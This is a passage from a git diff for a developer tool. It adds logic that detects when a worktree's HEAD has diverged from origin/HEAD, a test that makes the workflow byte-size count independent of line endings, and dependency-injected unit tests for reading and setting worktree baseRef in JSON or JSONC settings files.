absent/null) has fresh/origin-HEAD + // semantics and must be evaluated against origin/HEAD. (Reference: Claude Code worktrees docs, #683.) + if (deps?.effectiveBaseRef === 'head') { + return { shouldDegrade: false, reason: 'baseref-head', message: null, headSha: null, forkRef: null, forkSha: null }; + } + + // b. Resolve HEAD sha. + const headResult = execGit(['rev-parse', 'HEAD'], cwdOpts); + const headStdout = headResult.stdout ? headResult.stdout.trim() : ''; + if (headResult.exitCode !== 0 || !headStdout) { + return { shouldDegrade: false, reason: 'no-head', message: null, headSha: null, forkRef: null, forkSha: null }; + } + const headSha = headStdout; + + // c. Resolve fork base (what the harness forks 'fresh' worktrees from = origin/HEAD). + let forkRef: string | null = null; + let forkSha: string | null = null; + + // Try direct origin/HEAD rev-parse first. + const directResult = execGit(['rev-parse', '--verify', '--quiet', 'origin/HEAD'], cwdOpts); + const directStdout = directResult.stdout ? directResult.stdout.trim() : ''; + if (directResult.exitCode === 0 && directStdout) { + forkRef = 'origin/HEAD'; + forkSha = directStdout; + } else { + // Fall back via symbolic-ref → refs/remotes/origin/HEAD + const symResult = execGit(['symbolic-ref', '--quiet', 'refs/remotes/origin/HEAD'], cwdOpts); + const symStdout = symResult.stdout ? symResult.stdout.trim() : ''; + if (symResult.exitCode === 0 && symStdout) { + const ref = symStdout; + const symShaResult = execGit(['rev-parse', '--verify', '--quiet', ref], cwdOpts); + const symShaStdout = symShaResult.stdout ? symShaResult.stdout.trim() : ''; + if (symShaResult.exitCode === 0 && symShaStdout) { + // Strip leading 'refs/remotes/' to get e.g. 'origin/next' + forkRef = ref.replace(/^refs\/remotes\//, ''); + forkSha = symShaStdout; + } + } + } + + // d. Evaluate. + if (forkSha === null) { + return { shouldDegrade: true, reason: 'fork-ref-unknown', message: MSG_UNKNOWN, headSha, forkRef: null, forkSha: null }; + } + if (forkSha === headSha) { + return { shouldDegrade: false, reason: 'head-matches-fork', message: null, headSha, forkRef, forkSha }; + } + const message = buildMsgDiverged(headSha, forkRef, forkSha); + return { shouldDegrade: true, reason: 'head-diverged-from-fork', message, headSha, forkRef, forkSha }; +} diff --git a/tests/workflow-size-budget.test.cjs b/tests/workflow-size-budget.test.cjs index 18673661f..ec5df294a 100644 --- a/tests/workflow-size-budget.test.cjs +++ b/tests/workflow-size-budget.test.cjs @@ -64,8 +64,10 @@ const { test, describe } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); +const os = require('node:os'); const path = require('path'); const { assertTightCeiling } = require('../scripts/lib/allowlist-ratchet.cjs'); +const { cleanup } = require('./helpers.cjs'); const WORKFLOWS_DIR = path.join(__dirname, '..', 'gsd-core', 'workflows'); @@ -121,10 +123,16 @@ function budgetFor(workflow) { } function byteCount(filePath) { - // Match `wc -c`: count every byte on disk, including any trailing newline. - // Deliberately NOT the trailing-newline-stripping logic the old lineCount() - // used — the byte ceilings are calibrated against raw `wc -c` output. - return fs.statSync(filePath).size; + // Count bytes as on an LF checkout, so the budget is platform-independent. + // The tier ceilings are calibrated against `wc -c` on a Unix (LF) checkout, + // but these .md files have no `eol=lf` in .gitattributes, so Windows checks + // them out as CRLF. Counting raw on-disk bytes there adds one byte per line, + // which fails CI on the high-water-mark file (execute-phase.md) on Windows + // ONLY — a false positive that diverges from the LF calibration basis (#683). + // Stripping CR yields the same LF byte count on every platform. Still a raw + // byte count (not the old trailing-newline-stripping lineCount()). + const content = fs.readFileSync(filePath, 'utf-8'); + return Buffer.byteLength(content.replace(/\r\n/g, '\n'), 'utf-8'); } describe('SIZE: workflow byte-size budget', () => { @@ -549,3 +557,28 @@ describe('workflow progressive disclosure — MVP bodies lazy-loaded (#720)', () ); }); }); + +describe('SIZE: byteCount is line-ending independent (#683 regression)', () => { + // The budget ceilings are calibrated against an LF (Unix) checkout; Windows + // checks these .md files out as CRLF, which previously inflated the count by + // one byte per line and failed CI only on Windows for the high-water file. + test('CRLF and LF content of the same logical file count identically', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-size-eol-')); + try { + const body = 'line one\nline two\nthree — with a multibyte dash\n'; + const lfPath = path.join(dir, 'lf.md'); + const crlfPath = path.join(dir, 'crlf.md'); + fs.writeFileSync(lfPath, body); + fs.writeFileSync(crlfPath, body.replace(/\n/g, '\r\n')); + assert.strictEqual( + byteCount(crlfPath), + byteCount(lfPath), + 'byteCount must normalize CRLF so the byte budget is platform-independent' + ); + // And it must remain a real LF byte count (not stripped/whitespace-trimmed). + assert.strictEqual(byteCount(lfPath), Buffer.byteLength(body, 'utf-8')); + } finally { + cleanup(dir); + } + }); +}); diff --git a/tests/worktree-base-ref.test.cjs b/tests/worktree-base-ref.test.cjs new file mode 100644 index 000000000..5e47c02b1 --- /dev/null +++ b/tests/worktree-base-ref.test.cjs @@ -0,0 +1,773 @@ +'use strict'; + +/** + * Worktree Base-Ref Module — unit tests + * + * Seam: gsd-core/bin/lib/worktree-base-ref.cjs + * Interface: shortSha, readBaseRefFromSettings, applyWorktreeBaseRef, + * resolveEffectiveBaseRef, evaluateWorktreeBaseDegrade + * + * Issue #683: worktree base-mismatch detection and degradation logic. + * All tests use dependency injection (inline stubs) — no real filesystem + * or real git is exercised. + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const path = require('node:path'); + +const MODULE_PATH = path.join( + __dirname, '..', 'gsd-core', 'bin', 'lib', 'worktree-base-ref.cjs' +); + +const { + shortSha, + readBaseRefFromSettings, + applyWorktreeBaseRef, + resolveEffectiveBaseRef, + evaluateWorktreeBaseDegrade, + cmdWorktreeBaseCheck, + cmdWorktreeSetBaseRef, +} = require(MODULE_PATH); + +// ─── shortSha ──────────────────────────────────────────────────────────────── + +describe('shortSha', () => { + test('returns first 8 chars of a full sha', () => { + assert.strictEqual(shortSha('abc123def456789'), 'abc123de'); + }); + + test('returns the string itself when shorter than 8 chars', () => { + assert.strictEqual(shortSha('abc12'), 'abc12'); + }); + + test('returns empty string for null', () => { + assert.strictEqual(shortSha(null), ''); + }); + + test('returns empty string for empty string', () => { + assert.strictEqual(shortSha(''), ''); + }); + + test('returns exactly 8 chars when sha is exactly 8 chars', () => { + assert.strictEqual(shortSha('12345678'), '12345678'); + }); +}); + +// ─── readBaseRefFromSettings ───────────────────────────────────────────────── + +describe('readBaseRefFromSettings', () => { + test('returns baseRef when present as a string', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: { baseRef: 'head' } }), 'head'); + }); + + test('returns baseRef value "fresh"', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: { baseRef: 'fresh' } }), 'fresh'); + }); + + test('returns null when worktree is missing', () => { + assert.strictEqual(readBaseRefFromSettings({}), null); + }); + + test('returns null when settings is null', () => { + assert.strictEqual(readBaseRefFromSettings(null), null); + }); + + test('returns null when settings is undefined', () => { + assert.strictEqual(readBaseRefFromSettings(undefined), null); + }); + + test('returns null when worktree is not an object (string)', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: 'not-an-object' }), null); + }); + + test('returns null when baseRef is a number (non-string)', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: { baseRef: 42 } }), null); + }); + + test('returns null when baseRef is null', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: { baseRef: null } }), null); + }); + + test('returns null when baseRef is undefined', () => { + assert.strictEqual(readBaseRefFromSettings({ worktree: { baseRef: undefined } }), null); + }); +}); + +// ─── applyWorktreeBaseRef ───────────────────────────────────────────────────── + +describe('applyWorktreeBaseRef', () => { + test('sets baseRef to "head" when absent, returns changed:true', () => { + const settings = {}; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, true); + assert.strictEqual(result.skipped, null); + assert.strictEqual(result.previous, null); + assert.strictEqual(result.settings.worktree.baseRef, 'head'); + }); + + test('sets baseRef to "head" when worktree key is missing entirely', () => { + const settings = { other: 'value' }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, true); + assert.strictEqual(settings.worktree.baseRef, 'head'); + }); + + test('sets baseRef to "head" when worktree.baseRef is null', () => { + const settings = { worktree: { baseRef: null, otherKey: 'keep' } }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, true); + assert.strictEqual(settings.worktree.baseRef, 'head'); + }); + + test('sets baseRef to "head" when worktree.baseRef is undefined', () => { + const settings = { worktree: { baseRef: undefined } }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, true); + assert.strictEqual(settings.worktree.baseRef, 'head'); + }); + + test('preserves other worktree.* keys when setting baseRef', () => { + const settings = { worktree: { otherKey: 'preserved', anotherKey: 123 } }; + applyWorktreeBaseRef(settings); + assert.strictEqual(settings.worktree.otherKey, 'preserved'); + assert.strictEqual(settings.worktree.anotherKey, 123); + assert.strictEqual(settings.worktree.baseRef, 'head'); + }); + + test('mutates settings in place and returns the same object reference', () => { + const settings = {}; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.settings, settings); + }); + + test('returns already-head skip when baseRef is already "head"', () => { + const settings = { worktree: { baseRef: 'head' } }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, false); + assert.strictEqual(result.skipped, 'already-head'); + assert.strictEqual(result.previous, 'head'); + assert.strictEqual(settings.worktree.baseRef, 'head'); + }); + + test('returns explicit-other skip when baseRef is "fresh", does NOT overwrite', () => { + const settings = { worktree: { baseRef: 'fresh' } }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, false); + assert.strictEqual(result.skipped, 'explicit-other'); + assert.strictEqual(result.previous, 'fresh'); + assert.strictEqual(settings.worktree.baseRef, 'fresh'); + }); + + test('returns explicit-other skip for any other string value', () => { + const settings = { worktree: { baseRef: 'some-branch' } }; + const result = applyWorktreeBaseRef(settings); + assert.strictEqual(result.changed, false); + assert.strictEqual(result.skipped, 'explicit-other'); + assert.strictEqual(result.previous, 'some-branch'); + }); +}); + +// ─── resolveEffectiveBaseRef ────────────────────────────────────────────────── + +describe('resolveEffectiveBaseRef', () => { + // Helper to build a path-keyed readFile stub + function makeReadFile(files) { + return (p) => (Object.prototype.hasOwnProperty.call(files, p) ? files[p] : null); + } + + test('returns baseRef from settings.local.json when present', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: JSON.stringify({ worktree: { baseRef: 'head' } }), + [path.join(claudeDir, 'settings.json')]: JSON.stringify({ worktree: { baseRef: 'fresh' } }), + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'head'); + }); + + test('falls back to settings.json when settings.local.json has no baseRef', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: JSON.stringify({ other: 'value' }), + [path.join(claudeDir, 'settings.json')]: JSON.stringify({ worktree: { baseRef: 'fresh' } }), + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'fresh'); + }); + + test('returns null when both files are missing', () => { + const claudeDir = '/repo/.claude'; + const deps = { readFile: () => null }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), null); + }); + + test('returns null when both files exist but have no baseRef', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: JSON.stringify({ other: 'value' }), + [path.join(claudeDir, 'settings.json')]: JSON.stringify({ other: 'value2' }), + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), null); + }); + + test('ignores malformed JSON in settings.local.json and falls back', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: 'not valid json {{{', + [path.join(claudeDir, 'settings.json')]: JSON.stringify({ worktree: { baseRef: 'head' } }), + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'head'); + }); + + test('ignores malformed JSON in settings.json', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: null, + [path.join(claudeDir, 'settings.json')]: 'not valid json', + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), null); + }); + + test('settings.local.json null baseRef falls back to settings.json', () => { + const claudeDir = '/repo/.claude'; + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: JSON.stringify({ worktree: { baseRef: null } }), + [path.join(claudeDir, 'settings.json')]: JSON.stringify({ worktree: { baseRef: 'fresh' } }), + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'fresh'); + }); +}); + +// ─── evaluateWorktreeBaseDegrade ────────────────────────────────────────────── + +describe('evaluateWorktreeBaseDegrade', () => { + // Stub helper: matches on args.join(' ') and returns canned results + function makeExecGit(responses) { + return function stubExecGit(args, _opts) { + const key = args.join(' '); + if (Object.prototype.hasOwnProperty.call(responses, key)) { + return responses[key]; + } + // Default: fail with a helpful error to surface unexpected calls + throw new Error(`Unexpected execGit call: ${JSON.stringify(args)}`); + }; + } + + test('effectiveBaseRef="head" → no degrade, reason baseref-head, execGit never called', () => { + let called = false; + const result = evaluateWorktreeBaseDegrade({ + execGit: () => { called = true; return { exitCode: 0, stdout: '', stderr: '', signal: null, error: null }; }, + effectiveBaseRef: 'head', + }); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'baseref-head'); + assert.strictEqual(result.message, null); + assert.strictEqual(result.headSha, null); + assert.strictEqual(result.forkRef, null); + assert.strictEqual(result.forkSha, null); + assert.strictEqual(called, false, 'execGit must not be called when effectiveBaseRef is head'); + }); + + test('git rev-parse HEAD fails → no degrade, reason no-head', () => { + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 128, stdout: '', stderr: 'fatal: not a git repo', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'no-head'); + assert.strictEqual(result.headSha, null); + }); + + test('git rev-parse HEAD returns empty stdout → no degrade, reason no-head', () => { + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: '', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'no-head'); + }); + + test('HEAD == origin/HEAD → no degrade, reason head-matches-fork', () => { + const HEAD_SHA = 'aabbccdd11223344aabbccdd11223344aabbccdd'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'head-matches-fork'); + assert.strictEqual(result.headSha, HEAD_SHA); + assert.strictEqual(result.forkRef, 'origin/HEAD'); + assert.strictEqual(result.forkSha, HEAD_SHA); + assert.strictEqual(result.message, null); + }); + + test('HEAD != origin/HEAD → degrade, reason head-diverged-from-fork, MSG_DIVERGED', () => { + const HEAD_SHA = 'deadbeef11223344deadbeef11223344deadbeef'; + const FORK_SHA = 'cafebabe11223344cafebabe11223344cafebabe'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 0, stdout: FORK_SHA, stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, true); + assert.strictEqual(result.reason, 'head-diverged-from-fork'); + assert.strictEqual(result.headSha, HEAD_SHA); + assert.strictEqual(result.forkRef, 'origin/HEAD'); + assert.strictEqual(result.forkSha, FORK_SHA); + // Verify message contains the short SHAs and the issue reference + const expectedMsg = `⚠ Worktree base mismatch: HEAD (${HEAD_SHA.slice(0, 8)}) differs from origin/HEAD (${FORK_SHA.slice(0, 8)}). Running this phase sequentially on the main working tree. To keep parallel worktrees, set worktree.baseRef:"head" in .claude/settings.local.json (or run: gsd-tools worktree set-baseref). See #683.`; + assert.strictEqual(result.message, expectedMsg); + }); + + test('origin/HEAD fails but symbolic-ref resolves to refs/remotes/origin/next', () => { + const HEAD_SHA = 'aaaa1111bbbb2222aaaa1111bbbb2222aaaa1111'; + const FORK_SHA = 'cccc3333dddd4444cccc3333dddd4444cccc3333'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + 'symbolic-ref --quiet refs/remotes/origin/HEAD': { exitCode: 0, stdout: 'refs/remotes/origin/next', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet refs/remotes/origin/next': { exitCode: 0, stdout: FORK_SHA, stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.forkRef, 'origin/next'); + assert.strictEqual(result.forkSha, FORK_SHA); + // HEAD != FORK_SHA in this fixture → degrade + assert.strictEqual(result.shouldDegrade, true); + assert.strictEqual(result.reason, 'head-diverged-from-fork'); + assert.ok(result.message !== null); + assert.ok(result.message.includes('origin/next')); + }); + + test('origin/HEAD fails AND symbolic-ref fails → degrade, reason fork-ref-unknown, MSG_UNKNOWN', () => { + const HEAD_SHA = 'eeee5555ffff6666eeee5555ffff6666eeee5555'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + 'symbolic-ref --quiet refs/remotes/origin/HEAD': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, true); + assert.strictEqual(result.reason, 'fork-ref-unknown'); + assert.strictEqual(result.forkRef, null); + assert.strictEqual(result.forkSha, null); + const expectedMsg = `⚠ Cannot determine the worktree fork base (origin/HEAD unresolved). Running this phase sequentially on the main working tree to avoid a base mismatch. To keep parallel worktrees, set worktree.baseRef:"head" in .claude/settings.local.json (or run: gsd-tools worktree set-baseref). See #683.`; + assert.strictEqual(result.message, expectedMsg); + }); + + test('cwd is passed through to execGit calls', () => { + const HEAD_SHA = '1234567890abcdef1234567890abcdef12345678'; + const capturedOpts = []; + const result = evaluateWorktreeBaseDegrade({ + cwd: '/some/worktree', + execGit: (args, opts) => { + capturedOpts.push(opts); + const key = args.join(' '); + if (key === 'rev-parse HEAD') return { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }; + if (key === 'rev-parse --verify --quiet origin/HEAD') return { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }; + throw new Error(`Unexpected: ${key}`); + }, + }); + assert.strictEqual(result.shouldDegrade, false); + assert.ok(capturedOpts.length > 0); + for (const opts of capturedOpts) { + assert.strictEqual(opts && opts.cwd, '/some/worktree'); + } + }); + + test('symbolic-ref resolves but subsequent rev-parse fails → falls through to fork-ref-unknown', () => { + const HEAD_SHA = 'abcd1234abcd1234abcd1234abcd1234abcd1234'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + 'symbolic-ref --quiet refs/remotes/origin/HEAD': { exitCode: 0, stdout: 'refs/remotes/origin/main', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet refs/remotes/origin/main': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, true); + assert.strictEqual(result.reason, 'fork-ref-unknown'); + assert.strictEqual(result.forkRef, null); + assert.strictEqual(result.forkSha, null); + }); +}); + +// ─── cmdWorktreeBaseCheck ───────────────────────────────────────────────────── + +describe('cmdWorktreeBaseCheck', () => { + function makeExecGitCheck(responses) { + return function stubExecGit(args, _opts) { + const key = args.join(' '); + if (Object.prototype.hasOwnProperty.call(responses, key)) { + return responses[key]; + } + throw new Error(`Unexpected execGit call: ${JSON.stringify(args)}`); + }; + } + + test('baseRef=head in settings → shouldDegrade false, reason baseref-head; write emits valid JSON', () => { + const cwd = '/repo'; + const claudeDir = '/repo/.claude'; + let written = ''; + const deps = { + readFile: (p) => { + if (p === path.join(claudeDir, 'settings.local.json')) return JSON.stringify({ worktree: { baseRef: 'head' } }); + return null; + }, + execGit: makeExecGitCheck({}), + write: (s) => { written += s; }, + }; + const result = cmdWorktreeBaseCheck(cwd, [], deps); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'baseref-head'); + const parsed = JSON.parse(written); + assert.deepStrictEqual(parsed, result); + }); + + test('diverged shas → shouldDegrade true; captured JSON parses correctly', () => { + const cwd = '/repo'; + const HEAD_SHA = 'deadbeef11223344deadbeef11223344deadbeef'; + const FORK_SHA = 'cafebabe11223344cafebabe11223344cafebabe'; + let written = ''; + const deps = { + readFile: () => null, + execGit: makeExecGitCheck({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA, stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 0, stdout: FORK_SHA, stderr: '', signal: null, error: null }, + }), + write: (s) => { written += s; }, + }; + const result = cmdWorktreeBaseCheck(cwd, [], deps); + assert.strictEqual(result.shouldDegrade, true); + const parsed = JSON.parse(written); + assert.strictEqual(parsed.shouldDegrade, true); + assert.strictEqual(parsed.reason, 'head-diverged-from-fork'); + }); +}); + +// ─── cmdWorktreeSetBaseRef ──────────────────────────────────────────────────── + +describe('cmdWorktreeSetBaseRef', () => { + test('readFile returns {} → changed true, writeFile called with worktree.baseRef "head"', () => { + const cwd = '/repo'; + const file = path.join(cwd, '.claude', 'settings.local.json'); + let writtenPath = null; + let writtenContent = null; + let written = ''; + const deps = { + readFile: () => '{}', + existsSync: () => true, + mkdir: () => {}, + writeFile: (p, content) => { writtenPath = p; writtenContent = content; }, + write: (s) => { written += s; }, + }; + const result = cmdWorktreeSetBaseRef(cwd, [], deps); + assert.strictEqual(result.changed, true); + assert.strictEqual(result.file, file); + assert.strictEqual(result.baseRef, 'head'); + assert.strictEqual(writtenPath, file); + const parsedWritten = JSON.parse(writtenContent); + assert.strictEqual(parsedWritten.worktree.baseRef, 'head'); + const parsedOutput = JSON.parse(written); + assert.strictEqual(parsedOutput.changed, true); + }); + + test('readFile returns explicit-other → changed false, skipped explicit-other, writeFile NOT called', () => { + const cwd = '/repo'; + let writeFileCalled = false; + let written = ''; + const deps = { + readFile: () => JSON.stringify({ worktree: { baseRef: 'fresh' } }), + existsSync: () => true, + mkdir: () => {}, + writeFile: () => { writeFileCalled = true; }, + write: (s) => { written += s; }, + }; + const result = cmdWorktreeSetBaseRef(cwd, [], deps); + assert.strictEqual(result.changed, false); + assert.strictEqual(result.skipped, 'explicit-other'); + assert.strictEqual(result.previous, 'fresh'); + assert.strictEqual(writeFileCalled, false, 'writeFile must NOT be called for explicit-other'); + const parsedOutput = JSON.parse(written); + assert.strictEqual(parsedOutput.changed, false); + assert.strictEqual(parsedOutput.skipped, 'explicit-other'); + }); + + test('readFile returns malformed JSON → throws refusing-to-modify error', () => { + const cwd = '/repo'; + const file = path.join(cwd, '.claude', 'settings.local.json'); + const deps = { + readFile: () => '{', + existsSync: () => true, + mkdir: () => {}, + writeFile: () => {}, + write: () => {}, + }; + assert.throws( + () => cmdWorktreeSetBaseRef(cwd, [], deps), + (err) => { + assert.ok(err instanceof Error, 'must throw an Error'); + assert.ok(err.message.includes('Refusing to modify'), `message should contain "Refusing to modify", got: ${err.message}`); + assert.ok(err.message.includes(file), `message should contain file path, got: ${err.message}`); + return true; + } + ); + }); + + test('readFile returns null (missing file) → treated as {} → changed true', () => { + const cwd = '/repo'; + let writeFileCalled = false; + const deps = { + readFile: () => null, + existsSync: () => false, + mkdir: () => {}, + writeFile: () => { writeFileCalled = true; }, + write: () => {}, + }; + const result = cmdWorktreeSetBaseRef(cwd, [], deps); + assert.strictEqual(result.changed, true); + assert.strictEqual(writeFileCalled, true); + }); + + // FIX 2: non-object top-level JSON must be rejected with a clear error + test('readFile returns "[]" (array) → throws /expected a JSON object/', () => { + const cwd = '/repo'; + const deps = { + readFile: () => '[]', + existsSync: () => true, + mkdir: () => {}, + writeFile: () => {}, + write: () => {}, + }; + assert.throws( + () => cmdWorktreeSetBaseRef(cwd, [], deps), + /expected a JSON object/ + ); + }); + + test('readFile returns "42" (primitive) → throws /expected a JSON object/', () => { + const cwd = '/repo'; + const deps = { + readFile: () => '42', + existsSync: () => true, + mkdir: () => {}, + writeFile: () => {}, + write: () => {}, + }; + assert.throws( + () => cmdWorktreeSetBaseRef(cwd, [], deps), + /expected a JSON object/ + ); + }); +}); + +// FIX 2: applyWorktreeBaseRef must reject non-object/array/null inputs + +describe('applyWorktreeBaseRef — non-object inputs (FIX 2)', () => { + test('applyWorktreeBaseRef(null) → throws TypeError', () => { + assert.throws( + () => applyWorktreeBaseRef(null), + TypeError + ); + }); + + test('applyWorktreeBaseRef([]) → throws TypeError', () => { + assert.throws( + () => applyWorktreeBaseRef([]), + TypeError + ); + }); +}); + +// ─── FIX 2: JSONC support ───────────────────────────────────────────────────── + +describe('resolveEffectiveBaseRef — JSONC (FIX 2)', () => { + function makeReadFile(files) { + return (p) => (Object.prototype.hasOwnProperty.call(files, p) ? files[p] : null); + } + + test('returns baseRef from settings.local.json with // line comments', () => { + const claudeDir = '/repo/.claude'; + const jsonc = [ + '// this is a comment', + '{', + ' // another comment', + ' "worktree": {', + ' "baseRef": "head" // inline comment', + ' }', + '}', + ].join('\n'); + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: jsonc, + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'head'); + }); + + test('returns baseRef from settings.local.json with /* */ block comments', () => { + const claudeDir = '/repo/.claude'; + const jsonc = [ + '/* block comment */', + '{', + ' "worktree": { /* inline block */ "baseRef": "fresh" }', + '}', + '/* trailing block */', + ].join('\n'); + const deps = { + readFile: makeReadFile({ + [path.join(claudeDir, 'settings.local.json')]: jsonc, + }), + }; + assert.strictEqual(resolveEffectiveBaseRef(claudeDir, deps), 'fresh'); + }); +}); + +describe('cmdWorktreeSetBaseRef — JSONC (FIX 2)', () => { + test('commented-but-valid settings.local.json → updates it (changed true) rather than throwing', () => { + const cwd = '/repo'; + const jsonc = [ + '// user comment', + '{', + ' // another comment', + ' "other": "value"', + '}', + ].join('\n'); + let writtenContent = null; + const deps = { + readFile: () => jsonc, + existsSync: () => true, + mkdir: () => {}, + writeFile: (_p, content) => { writtenContent = content; }, + write: () => {}, + }; + const result = cmdWorktreeSetBaseRef(cwd, [], deps); + assert.strictEqual(result.changed, true, 'must set baseRef when absent (even in JSONC file)'); + assert.ok(writtenContent !== null, 'must write the updated file'); + const parsed = JSON.parse(writtenContent); + assert.strictEqual(parsed.worktree.baseRef, 'head'); + }); + + test('JSONC with explicit baseRef="fresh" → skipped explicit-other, does not throw', () => { + const cwd = '/repo'; + const jsonc = [ + '// user comment', + '{', + ' "worktree": {', + ' // keeps the fork base fixed', + ' "baseRef": "fresh"', + ' }', + '}', + ].join('\n'); + let writeFileCalled = false; + const deps = { + readFile: () => jsonc, + existsSync: () => true, + mkdir: () => {}, + writeFile: () => { writeFileCalled = true; }, + write: () => {}, + }; + const result = cmdWorktreeSetBaseRef(cwd, [], deps); + assert.strictEqual(result.changed, false); + assert.strictEqual(result.skipped, 'explicit-other'); + assert.strictEqual(writeFileCalled, false); + }); + + test('genuinely malformed JSON (after stripping comments) still throws refusing-to-modify', () => { + const cwd = '/repo'; + const file = path.join(cwd, '.claude', 'settings.local.json'); + // This is malformed even after comment stripping + const malformed = '// comment\n{ "key": }'; + const deps = { + readFile: () => malformed, + existsSync: () => true, + mkdir: () => {}, + writeFile: () => {}, + write: () => {}, + }; + assert.throws( + () => cmdWorktreeSetBaseRef(cwd, [], deps), + (err) => { + assert.ok(err instanceof Error); + assert.ok(err.message.includes('Refusing to modify'), `got: ${err.message}`); + assert.ok(err.message.includes(file), `got: ${err.message}`); + return true; + } + ); + }); +}); + +// ─── FIX 3: defensive trim on git SHAs ──────────────────────────────────────── + +describe('evaluateWorktreeBaseDegrade — defensive trim on SHAs (FIX 3)', () => { + function makeExecGit(responses) { + return function stubExecGit(args, _opts) { + const key = args.join(' '); + if (Object.prototype.hasOwnProperty.call(responses, key)) { + return responses[key]; + } + throw new Error(`Unexpected execGit call: ${JSON.stringify(args)}`); + }; + } + + test('HEAD with trailing newline still matches origin/HEAD — no degrade', () => { + const SHA = 'aabbccdd11223344aabbccdd11223344aabbccdd'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: SHA + '\n', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 0, stdout: SHA + '\n', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, false); + assert.strictEqual(result.reason, 'head-matches-fork'); + }); + + test('HEAD with trailing whitespace still diverges correctly from different origin/HEAD', () => { + const HEAD_SHA = 'deadbeef11223344deadbeef11223344deadbeef'; + const FORK_SHA = 'cafebabe11223344cafebabe11223344cafebabe'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: 